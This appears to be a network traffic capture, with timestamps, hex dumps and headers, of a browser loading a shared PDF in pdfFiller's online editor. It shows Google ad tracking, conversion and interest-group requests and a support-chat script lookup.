2024-12-19 15:27:42 UTC	2917	IN	Data Raw: 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 61 61 61 3b 6f 75 74 6c 69 6e 65 3a 30 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 30 20 30 20 33 70 78 20 31 70 78 20 72 67 62 61 28 31 37 31 2c 31 37 31 2c 31 37 31 2c 2e 35 29 7d 2e 73 70 2d 74 65 78 74 61 72 65 61 3a 3a 2d 77 65 62 6b 69 74 2d 69 6e 70 75 74 2d 70 6c 61 63 65 68 6f 6c 64 65 72 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 32 30 70 78 3b 63 6f 6c 6f 72 3a 23 38 38 38 7d 2e 73 70 2d 74 65 78 74 61 72 65 61 3a 2d 6d 73 2d 69 6e 70 75 74 2d 70 6c 61 63 65 68 6f 6c 64 65 72 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 32 30 70 78 3b 63 6f 6c 6f 72 3a 23 38 38 38 7d 2e 73 70 2d 74 65 78 74 61 72 65 61 3a 3a 2d 6d 73 2d 69 6e 70 75 74 Data Ascii: order-color:#aaa;outline:0;box-shadow:0 0 3px 1px rgba(171,171,171,.5)}.sp-textarea::-webkit-input-placeholder{font-size:14px;line-height:20px;color:#888}.sp-textarea:-ms-input-placeholder{font-size:14px;line-height:20px;color:#888}.sp-textarea::-ms-input

Timestamp	Bytes transferred	Direction	Data
2024-12-19 15:27:43 UTC	2029	OUT	GET /td/rul/972636148?random=1734622061570&cv=11&fst=1734622061570&fmt=3&bg=ffffff&guid=ON&async=1&gtm=45be4cc1v890312743z878355092za201zb78355092&gcs=G111&gcd=13t3t3t3t5l1&dma=0&tag_exp=101925629~102067555~102067808~102081485~102198178&u_w=1920&u_h=1080&url=https%3A%2F%2Fwww.pdffiller.com%2Fjsfiller-desk19%2F%3Fflat_pdf_quality%3Dhigh%26isShareViaLink%3D1%26requestHash%3Da2c5609ba93c5a066fe0a36d5e28c4f30219bce773a7ef5f77123304be4f67c2%26lang%3Den%26projectId%3D1720458241%26PAGE_REARRANGE_V2_MVP%3Dtrue%26richTextFormatting%3Dtrue%26isPageRearrangeV2MVP%3Dtrue%26jsf-page-rearrange-v2%3Dtrue%26jsf-redesign-full%3Dtrue%26act-notary-pro-integration%3Dtrue%26isSkipEditorLoadFrequency%3Dtrue%26jsf-desktop-ux-for-tablets%3Dfalse%26jsf-probability-70%3Dtrue%26jsf-socket-io%3Dfalse%26jsf-simplified-modes-iteration-1%3Dfalse%26jsf-offline-mode%3Df&label=5lebCLn80awBEPT_5M8D&hn=www.googleadservices.com&frm=0&tiba=PDFfiller%20-%20Project%20Proposal%20Document%20Q50336.pdf&value=0&bttype=purchase&npa=0&pscdl=noapi&auid=31 [TRUNCATED] Host: td.doubleclick.net Connection: keep-alive sec-ch-ua: "Chromium";v="128", "Not;A=Brand";v="24", "Google Chrome";v="128" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Client-Data: CI+2yQEIorbJAQipncoBCMD2ygEIkqHLAQic/swBCIWgzQEI1r3OARjBy8wB Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://www.pdffiller.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2024-12-19 15:27:43 UTC	785	IN	HTTP/1.1 200 OK P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Date: Thu, 19 Dec 2024 15:27:43 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Content-Type: text/html; charset=UTF-8 X-Content-Type-Options: nosniff Server: cafe X-XSS-Protection: 0 Set-Cookie: test_cookie=CheckForPermission; expires=Thu, 19-Dec-2024 15:42:43 GMT; path=/; domain=.doubleclick.net; Secure; SameSite=none Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-12-19 15:27:43 UTC	470	IN	Data Raw: 38 30 30 30 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 6f 72 69 67 69 6e 2d 74 72 69 61 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 41 76 68 35 4e 79 30 58 45 46 43 79 51 37 2b 6f 4e 69 65 58 73 6b 55 72 71 59 38 65 64 55 7a 4c 35 2f 58 72 77 4b 6c 47 6a 41 52 51 48 57 34 54 46 52 4b 2b 6a 56 64 35 48 6e 44 49 70 59 32 30 6e 35 4f 4c 48 66 67 55 34 6b 75 37 78 34 38 4e 33 75 68 47 2f 41 30 41 41 41 42 78 65 79 4a 76 63 6d 6c 6e 61 57 34 69 4f 69 4a 6f 64 48 52 77 63 7a 6f 76 4c 32 52 76 64 57 4a 73 5a 57 4e 73 61 57 4e 72 4c 6d 35 6c 64 44 6f 30 4e 44 4d 69 4c 43 4a 6d 5a 57 46 30 64 58 4a 6c 49 6a 6f 69 55 48 4a 70 64 6d 46 6a 65 56 4e 68 62 6d 52 69 62 33 68 42 5a 48 4e 42 55 45 6c 7a 49 69 77 69 5a 58 68 77 Data Ascii: 8000<html><head><meta http-equiv="origin-trial" content="Avh5Ny0XEFCyQ7+oNieXskUrqY8edUzL5/XrwKlGjARQHW4TFRK+jVd5HnDIpY20n5OLHfgU4ku7x48N3uhG/A0AAABxeyJvcmlnaW4iOiJodHRwczovL2RvdWJsZWNsaWNrLm5ldDo0NDMiLCJmZWF0dXJlIjoiUHJpdmFjeVNhbmRib3hBZHNBUElzIiwiZXhw
2024-12-19 15:27:43 UTC	1255	IN	Data Raw: 61 6d 65 22 3a 22 34 73 33 31 32 35 31 34 38 39 2e 31 37 33 34 36 32 32 30 36 30 22 2c 22 62 69 64 64 69 6e 67 4c 6f 67 69 63 55 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 74 64 2e 64 6f 75 62 6c 65 63 6c 69 63 6b 2e 6e 65 74 2f 74 64 2f 62 6a 73 22 2c 22 64 61 69 6c 79 55 70 64 61 74 65 55 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 74 64 2e 64 6f 75 62 6c 65 63 6c 69 63 6b 2e 6e 65 74 2f 74 64 2f 75 70 64 61 74 65 3f 69 67 5f 6e 61 6d 65 3d 34 73 33 31 32 35 31 34 38 39 2e 31 37 33 34 36 32 32 30 36 30 5c 75 30 30 32 36 69 67 5f 6b 65 79 3d 31 73 4e 48 4d 7a 4d 54 49 31 4d 54 51 34 4f 53 34 78 4e 7a 4d 30 4e 6a 49 79 4d 44 59 77 21 32 73 61 46 47 4a 62 77 21 33 73 41 41 70 74 44 56 37 7a 75 42 31 56 22 2c 22 74 72 75 73 74 65 64 42 69 64 64 69 6e 67 53 69 67 6e Data Ascii: ame":"4s31251489.1734622060","biddingLogicUrl":"https://td.doubleclick.net/td/bjs","dailyUpdateUrl":"https://td.doubleclick.net/td/update?ig_name=4s31251489.1734622060\u0026ig_key=1sNHMzMTI1MTQ4OS4xNzM0NjIyMDYw!2saFGJbw!3sAAptDV7zuB1V","trustedBiddingSign
2024-12-19 15:27:43 UTC	1255	IN	Data Raw: 74 2f 74 64 2f 61 64 66 65 74 63 68 2f 67 64 61 3f 61 64 67 5f 69 64 3d 37 39 39 33 31 39 35 30 32 33 31 5c 75 30 30 32 36 63 72 5f 69 64 3d 33 37 37 38 36 37 33 31 35 39 36 31 5c 75 30 30 32 36 63 76 5f 69 64 3d 32 5c 75 30 30 32 36 66 6f 72 6d 61 74 3d 24 7b 41 44 5f 57 49 44 54 48 7d 78 24 7b 41 44 5f 48 45 49 47 48 54 7d 5c 75 30 30 32 36 72 64 73 3d 24 7b 52 45 4e 44 45 52 5f 44 41 54 41 7d 5c 75 30 30 32 36 73 65 61 74 3d 32 5c 75 30 30 32 36 72 70 5f 69 64 3d 72 31 6a 35 39 38 38 34 39 33 36 38 21 34 73 2a 32 41 22 2c 22 6d 65 74 61 64 61 74 61 22 3a 5b 22 37 39 39 33 31 39 35 30 32 33 31 22 2c 22 33 37 37 38 36 37 33 31 35 39 36 31 22 2c 22 32 22 2c 22 32 30 38 34 38 35 35 34 36 30 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c Data Ascii: t/td/adfetch/gda?adg_id=79931950231\u0026cr_id=377867315961\u0026cv_id=2\u0026format=${AD_WIDTH}x${AD_HEIGHT}\u0026rds=${RENDER_DATA}\u0026seat=2\u0026rp_id=r1j598849368!4s*2A","metadata":["79931950231","377867315961","2","2084855460",null,null,null,null,
2024-12-19 15:27:43 UTC	1255	IN	Data Raw: 24 7b 41 44 5f 48 45 49 47 48 54 7d 5c 75 30 30 32 36 72 64 73 3d 24 7b 52 45 4e 44 45 52 5f 44 41 54 41 7d 5c 75 30 30 32 36 73 65 61 74 3d 32 5c 75 30 30 32 36 72 70 5f 69 64 3d 72 31 6a 35 39 38 38 34 39 33 36 38 21 34 73 2a 32 41 22 2c 22 6d 65 74 61 64 61 74 61 22 3a 5b 22 37 39 39 33 31 39 35 30 32 33 31 22 2c 22 33 37 37 38 36 37 33 31 35 39 38 32 22 2c 22 31 22 2c 22 32 30 38 34 38 35 35 34 36 30 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 22 35 39 38 38 34 39 33 36 38 22 5d 2c 22 61 64 52 65 6e 64 65 72 49 64 22 3a 22 4b 38 7a 61 33 59 59 65 35 65 59 22 2c 22 62 75 79 65 72 52 65 70 6f 72 74 69 6e 67 49 64 22 3a 22 31 6a 35 39 38 38 34 39 33 36 38 21 34 73 2a 32 41 22 7d 2c 7b 22 72 65 6e 64 65 Data Ascii: ${AD_HEIGHT}\u0026rds=${RENDER_DATA}\u0026seat=2\u0026rp_id=r1j598849368!4s2A","metadata":["79931950231","377867315982","1","2084855460",null,null,null,null,null,null,"598849368"],"adRenderId":"K8za3YYe5eY","buyerReportingId":"1j598849368!4s2A"},{"rende
2024-12-19 15:27:43 UTC	1255	IN	Data Raw: 31 39 35 33 33 35 31 22 2c 22 33 38 32 35 32 30 34 30 33 31 30 37 22 2c 22 35 22 2c 22 32 30 38 34 38 35 35 34 36 30 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 22 36 30 31 31 38 34 30 38 38 22 5d 2c 22 61 64 52 65 6e 64 65 72 49 64 22 3a 22 54 79 6b 74 48 4b 4c 55 64 6e 73 22 2c 22 62 75 79 65 72 52 65 70 6f 72 74 69 6e 67 49 64 22 3a 22 31 6a 36 30 31 31 38 34 30 38 38 21 34 73 2a 32 41 22 7d 2c 7b 22 72 65 6e 64 65 72 55 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 74 64 73 66 2e 64 6f 75 62 6c 65 63 6c 69 63 6b 2e 6e 65 74 2f 74 64 2f 61 64 66 65 74 63 68 2f 67 64 61 3f 61 64 67 5f 69 64 3d 37 39 39 33 31 39 35 33 33 35 31 5c 75 30 30 32 36 63 72 5f 69 64 3d 33 38 32 35 32 30 34 30 33 31 30 34 5c 75 30 30 Data Ascii: 1953351","382520403107","5","2084855460",null,null,null,null,null,null,"601184088"],"adRenderId":"TyktHKLUdns","buyerReportingId":"1j601184088!4s*2A"},{"renderUrl":"https://tdsf.doubleclick.net/td/adfetch/gda?adg_id=79931953351\u0026cr_id=382520403104\u00
2024-12-19 15:27:43 UTC	1255	IN	Data Raw: 22 31 48 36 58 4d 48 32 51 57 58 73 22 2c 22 62 75 79 65 72 52 65 70 6f 72 74 69 6e 67 49 64 22 3a 22 31 6a 36 30 31 31 38 34 30 38 38 21 34 73 2a 32 41 22 7d 2c 7b 22 72 65 6e 64 65 72 55 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 74 64 73 66 2e 64 6f 75 62 6c 65 63 6c 69 63 6b 2e 6e 65 74 2f 74 64 2f 61 64 66 65 74 63 68 2f 67 64 61 3f 61 64 67 5f 69 64 3d 37 39 39 33 31 39 35 33 33 35 31 5c 75 30 30 32 36 63 72 5f 69 64 3d 33 37 37 38 36 37 33 30 39 37 32 31 5c 75 30 30 32 36 63 76 5f 69 64 3d 32 5c 75 30 30 32 36 66 6f 72 6d 61 74 3d 24 7b 41 44 5f 57 49 44 54 48 7d 78 24 7b 41 44 5f 48 45 49 47 48 54 7d 5c 75 30 30 32 36 72 64 73 3d 24 7b 52 45 4e 44 45 52 5f 44 41 54 41 7d 5c 75 30 30 32 36 73 65 61 74 3d 32 5c 75 30 30 32 36 72 70 5f 69 64 3d 72 31 6a Data Ascii: "1H6XMH2QWXs","buyerReportingId":"1j601184088!4s*2A"},{"renderUrl":"https://tdsf.doubleclick.net/td/adfetch/gda?adg_id=79931953351\u0026cr_id=377867309721\u0026cv_id=2\u0026format=${AD_WIDTH}x${AD_HEIGHT}\u0026rds=${RENDER_DATA}\u0026seat=2\u0026rp_id=r1j
2024-12-19 15:27:43 UTC	1255	IN	Data Raw: 74 64 2f 61 64 66 65 74 63 68 2f 67 64 61 3f 61 64 67 5f 69 64 3d 37 39 39 33 31 39 35 33 33 35 31 5c 75 30 30 32 36 63 72 5f 69 64 3d 33 37 37 38 36 37 33 30 39 36 39 37 5c 75 30 30 32 36 63 76 5f 69 64 3d 32 5c 75 30 30 32 36 66 6f 72 6d 61 74 3d 24 7b 41 44 5f 57 49 44 54 48 7d 78 24 7b 41 44 5f 48 45 49 47 48 54 7d 5c 75 30 30 32 36 72 64 73 3d 24 7b 52 45 4e 44 45 52 5f 44 41 54 41 7d 5c 75 30 30 32 36 73 65 61 74 3d 32 5c 75 30 30 32 36 72 70 5f 69 64 3d 72 31 6a 36 30 31 31 38 34 30 38 38 21 34 73 2a 32 41 22 2c 22 6d 65 74 61 64 61 74 61 22 3a 5b 22 37 39 39 33 31 39 35 33 33 35 31 22 2c 22 33 37 37 38 36 37 33 30 39 36 39 37 22 2c 22 32 22 2c 22 32 30 38 34 38 35 35 34 36 30 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 Data Ascii: td/adfetch/gda?adg_id=79931953351\u0026cr_id=377867309697\u0026cv_id=2\u0026format=${AD_WIDTH}x${AD_HEIGHT}\u0026rds=${RENDER_DATA}\u0026seat=2\u0026rp_id=r1j601184088!4s*2A","metadata":["79931953351","377867309697","2","2084855460",null,null,null,null,nu
2024-12-19 15:27:43 UTC	1255	IN	Data Raw: 41 44 5f 48 45 49 47 48 54 7d 5c 75 30 30 32 36 72 64 73 3d 24 7b 52 45 4e 44 45 52 5f 44 41 54 41 7d 5c 75 30 30 32 36 73 65 61 74 3d 32 5c 75 30 30 32 36 72 70 5f 69 64 3d 72 31 6a 35 39 38 38 34 39 33 36 38 21 34 73 2a 32 41 22 2c 22 6d 65 74 61 64 61 74 61 22 3a 5b 22 37 39 39 33 31 39 35 33 33 35 31 22 2c 22 33 37 37 38 36 37 33 30 39 36 39 37 22 2c 22 32 22 2c 22 32 30 38 34 38 35 35 34 36 30 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 22 35 39 38 38 34 39 33 36 38 22 5d 2c 22 61 64 52 65 6e 64 65 72 49 64 22 3a 22 74 37 51 32 4d 36 32 5f 37 47 6f 22 2c 22 62 75 79 65 72 52 65 70 6f 72 74 69 6e 67 49 64 22 3a 22 31 6a 35 39 38 38 34 39 33 36 38 21 34 73 2a 32 41 22 7d 2c 7b 22 72 65 6e 64 65 72 55 Data Ascii: AD_HEIGHT}\u0026rds=${RENDER_DATA}\u0026seat=2\u0026rp_id=r1j598849368!4s2A","metadata":["79931953351","377867309697","2","2084855460",null,null,null,null,null,null,"598849368"],"adRenderId":"t7Q2M62_7Go","buyerReportingId":"1j598849368!4s2A"},{"renderU
2024-12-19 15:27:43 UTC	1255	IN	Data Raw: 35 33 33 35 31 22 2c 22 33 37 37 38 36 37 33 30 39 37 32 31 22 2c 22 32 22 2c 22 32 30 38 34 38 35 35 34 36 30 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 22 35 39 38 38 34 39 33 36 38 22 5d 2c 22 61 64 52 65 6e 64 65 72 49 64 22 3a 22 45 5f 5f 64 64 65 6a 6e 79 35 55 22 2c 22 62 75 79 65 72 52 65 70 6f 72 74 69 6e 67 49 64 22 3a 22 31 6a 35 39 38 38 34 39 33 36 38 21 34 73 2a 32 41 22 7d 2c 7b 22 72 65 6e 64 65 72 55 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 74 64 73 66 2e 64 6f 75 62 6c 65 63 6c 69 63 6b 2e 6e 65 74 2f 74 64 2f 61 64 66 65 74 63 68 2f 67 64 61 3f 61 64 67 5f 69 64 3d 37 39 39 33 31 39 35 33 33 35 31 5c 75 30 30 32 36 63 72 5f 69 64 3d 33 38 32 35 32 30 34 30 33 30 39 38 5c 75 30 30 32 36 Data Ascii: 53351","377867309721","2","2084855460",null,null,null,null,null,null,"598849368"],"adRenderId":"E__ddejny5U","buyerReportingId":"1j598849368!4s*2A"},{"renderUrl":"https://tdsf.doubleclick.net/td/adfetch/gda?adg_id=79931953351\u0026cr_id=382520403098\u0026
2024-12-19 15:27:43 UTC	1255	IN	Data Raw: 61 6c 45 72 66 64 5a 55 77 51 22 2c 22 62 75 79 65 72 52 65 70 6f 72 74 69 6e 67 49 64 22 3a 22 31 6a 35 39 38 38 34 39 33 36 38 21 34 73 2a 32 41 22 7d 2c 7b 22 72 65 6e 64 65 72 55 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 74 64 73 66 2e 64 6f 75 62 6c 65 63 6c 69 63 6b 2e 6e 65 74 2f 74 64 2f 61 64 66 65 74 63 68 2f 67 64 61 3f 61 64 67 5f 69 64 3d 37 39 39 33 31 39 35 30 32 33 31 5c 75 30 30 32 36 63 72 5f 69 64 3d 33 38 32 35 32 30 34 30 32 30 39 33 5c 75 30 30 32 36 63 76 5f 69 64 3d 35 5c 75 30 30 32 36 66 6f 72 6d 61 74 3d 24 7b 41 44 5f 57 49 44 54 48 7d 78 24 7b 41 44 5f 48 45 49 47 48 54 7d 5c 75 30 30 32 36 72 64 73 3d 24 7b 52 45 4e 44 45 52 5f 44 41 54 41 7d 5c 75 30 30 32 36 73 65 61 74 3d 32 5c 75 30 30 32 36 72 70 5f 69 64 3d 72 31 6a 36 30 Data Ascii: alErfdZUwQ","buyerReportingId":"1j598849368!4s*2A"},{"renderUrl":"https://tdsf.doubleclick.net/td/adfetch/gda?adg_id=79931950231\u0026cr_id=382520402093\u0026cv_id=5\u0026format=${AD_WIDTH}x${AD_HEIGHT}\u0026rds=${RENDER_DATA}\u0026seat=2\u0026rp_id=r1j60

Timestamp	Bytes transferred	Direction	Data
2024-12-19 15:27:44 UTC	592	OUT	GET /api/pdffiller/chat/get-src HTTP/1.1 Host: support-backend.usrsprt.com Connection: keep-alive sec-ch-ua: "Chromium";v="128", "Not;A=Brand";v="24", "Google Chrome";v="128" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.pdffiller.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.pdffiller.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2024-12-19 15:27:44 UTC	420	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 15:27:44 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close server: istio-envoy cache-control: no-cache, private x-ratelimit-limit: 3600 x-ratelimit-remaining: 3599 access-control-allow-origin: * x-envoy-upstream-service-time: 15 content-security-policy: default-src 'self' strict-transport-security: max-age=31536000; includeSubDomains
2024-12-19 15:27:44 UTC	114	IN	Data Raw: 36 63 0d 0a 7b 22 73 74 61 74 75 73 22 3a 74 72 75 65 2c 22 64 61 74 61 22 3a 7b 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2d 61 6b 2e 70 64 66 66 69 6c 6c 65 72 2e 63 6f 6d 5c 2f 66 72 6f 6e 74 65 6e 64 5c 2f 53 75 70 70 6f 72 74 43 68 61 74 5c 2f 35 32 31 30 30 5c 2f 70 72 6f 64 75 63 74 2e 6a 73 22 7d 7d 0d 0a Data Ascii: 6c{"status":true,"data":{"src":"https:\/\/static-ak.pdffiller.com\/frontend\/SupportChat\/52100\/product.js"}}
2024-12-19 15:27:44 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2024-12-19 15:27:44 UTC	1279	OUT	POST /ccm/collect?en=user_id_update&dl=https%3A%2F%2Fwww.pdffiller.com%2Fjsfiller-desk19%2F&scrsrc=www.googletagmanager.com&frm=0&rnd=1533068938.1734622060&dt=PDFfiller%20-%20Project%20Proposal%20Document%20Q50336.pdf&auid=31251489.1734622060&navt=n&npa=0&ga_uid=G-P4FNBN6SJM.2066364496&gtm=45He4cc1v78355092za200&gcs=G111&gcd=13t3t3t3t5l1&dma=0&tag_exp=101925629~102067555~102067808~102081485~102198178&tft=1734622061638&tfd=13124&apve=1 HTTP/1.1 Host: www.google.com Connection: keep-alive Content-Length: 0 sec-ch-ua: "Chromium";v="128", "Not;A=Brand";v="24", "Google Chrome";v="128" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.pdffiller.com X-Client-Data: CI+2yQEIorbJAQipncoBCMD2ygEIkqHLAQic/swBCIWgzQEI1r3OARjBy8wB Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://www.pdffiller.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: NID=517=i4E8sm-BN75bnGkPw4VW8uy51aQ8ounjntfNX2fu8MFJNuIvCX0dRBy-XkHqHwKOVFSSaC2nqfULsnHhY3TzIXHWC90jS3Wi2BINtQIDr1LJvZE4Ud-byTNL9Q04Nd1-ydmJvrWYY5vORspW6soJ1bMj20dq8UvPjgkw2sOvmuTUanqu
2024-12-19 15:27:44 UTC	581	IN	HTTP/1.1 200 OK Cache-Control: no-cache, no-store, must-revalidate Content-Type: text/plain Date: Thu, 19 Dec 2024 15:27:44 GMT Expires: Fri, 01 Jan 1990 00:00:00 GMT Pragma: no-cache Vary: Origin Vary: X-Origin Vary: Referer Server: scaffolding on HTTPServer2 Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Access-Control-Allow-Origin: https://www.pdffiller.com Access-Control-Expose-Headers: date,vary,vary,vary,server,content-length Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Timestamp	Bytes transferred	Direction	Data
2024-12-19 15:27:44 UTC	2440	OUT	GET /pagead/viewthroughconversion/972636148/?random=1009888212&cv=11&fst=1734622061570&bg=ffffff&guid=ON&async=1&gtm=45be4cc1v890312743z878355092za201zb78355092&gcs=G111&gcd=13t3t3t3t5l1&dma=0&tag_exp=101925629~102067555~102067808~102081485~102198178&u_w=1920&u_h=1080&url=https%3A%2F%2Fwww.pdffiller.com%2Fjsfiller-desk19%2F%3Fflat_pdf_quality%3Dhigh%26isShareViaLink%3D1%26requestHash%3Da2c5609ba93c5a066fe0a36d5e28c4f30219bce773a7ef5f77123304be4f67c2%26lang%3Den%26projectId%3D1720458241%26PAGE_REARRANGE_V2_MVP%3Dtrue%26richTextFormatting%3Dtrue%26isPageRearrangeV2MVP%3Dtrue%26jsf-page-rearrange-v2%3Dtrue%26jsf-redesign-full%3Dtrue%26act-notary-pro-integration%3Dtrue%26isSkipEditorLoadFrequency%3Dtrue%26jsf-desktop-ux-for-tablets%3Dfalse%26jsf-probability-70%3Dtrue%26jsf-socket-io%3Dfalse%26jsf-simplified-modes-iteration-1%3Dfalse%26jsf-offline-mode%3Df&label=5lebCLn80awBEPT_5M8D&hn=www.googleadservices.com&frm=0&tiba=PDFfiller%20-%20Project%20Proposal%20Document%20Q50336.pdf&value=0&npa=0&pscdl=noapi&auid=3125 [TRUNCATED] Host: googleads.g.doubleclick.net Connection: keep-alive sec-ch-ua: "Chromium";v="128", "Not;A=Brand";v="24", "Google Chrome";v="128" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CI+2yQEIorbJAQipncoBCMD2ygEIkqHLAQic/swBCIWgzQEI1r3OARjBy8wB Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.pdffiller.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: test_cookie=CheckForPermission
2024-12-19 15:27:44 UTC	2737	IN	HTTP/1.1 302 Found P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Date: Thu, 19 Dec 2024 15:27:44 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Location: https://www.google.com/pagead/1p-conversion/972636148/?random=1009888212&cv=11&fst=1734622061570&bg=ffffff&guid=ON&async=1&gtm=45be4cc1v890312743z878355092za201zb78355092&gcs=G111&gcd=13t3t3t3t5l1&dma=0&tag_exp=101925629~102067555~102067808~102081485~102198178&u_w=1920&u_h=1080&url=https%3A%2F%2Fwww.pdffiller.com%2Fjsfiller-desk19%2F%3Fflat_pdf_quality%3Dhigh%26isShareViaLink%3D1%26requestHash%3Da2c5609ba93c5a066fe0a36d5e28c4f30219bce773a7ef5f77123304be4f67c2%26lang%3Den%26projectId%3D1720458241%26PAGE_REARRANGE_V2_MVP%3Dtrue%26richTextFormatting%3Dtrue%26isPageRearrangeV2MVP%3Dtrue%26jsf-page-rearrange-v2%3Dtrue%26jsf-redesign-full%3Dtrue%26act-notary-pro-integration%3Dtrue%26isSkipEditorLoadFrequency%3Dtrue%26jsf-desktop-ux-for-tablets%3Dfalse%26jsf-probability-70%3Dtrue%26jsf-socket-io%3Dfalse%26jsf-simplified-modes-iteration-1%3Dfalse%26jsf-offline-mode%3Df&label=5lebCLn80awBEPT_5M8D&hn=www.googleadservices.com&frm=0&tiba=PDFfiller%20-%20Project%20Proposal%20Document%20Q50336.pdf&value=0&npa=0&p [TRUNCATED] Content-Type: image/gif X-Content-Type-Options: nosniff Server: cafe Content-Length: 42 X-XSS-Protection: 0 Set-Cookie: test_cookie=; domain=.doubleclick.net; path=/; expires=Fri, 01-Aug-2008 22:45:55 GMT; SameSite=none; Secure Set-Cookie: IDE=AHWqTUm5yKlQJpJ_MrzT7wtNWZX4a_cvHhpCGuqaWrPFpKYPbmksLS4FPIZjbhmN; expires=Sat, 19-Dec-2026 15:27:44 GMT; path=/; domain=.doubleclick.net; Secure; HttpOnly; SameSite=none Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-12-19 15:27:44 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Timestamp	Bytes transferred	Direction	Data
2024-12-19 15:27:45 UTC	383	OUT	GET /api/pdffiller/chat/get-src HTTP/1.1 Host: support-backend.usrsprt.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
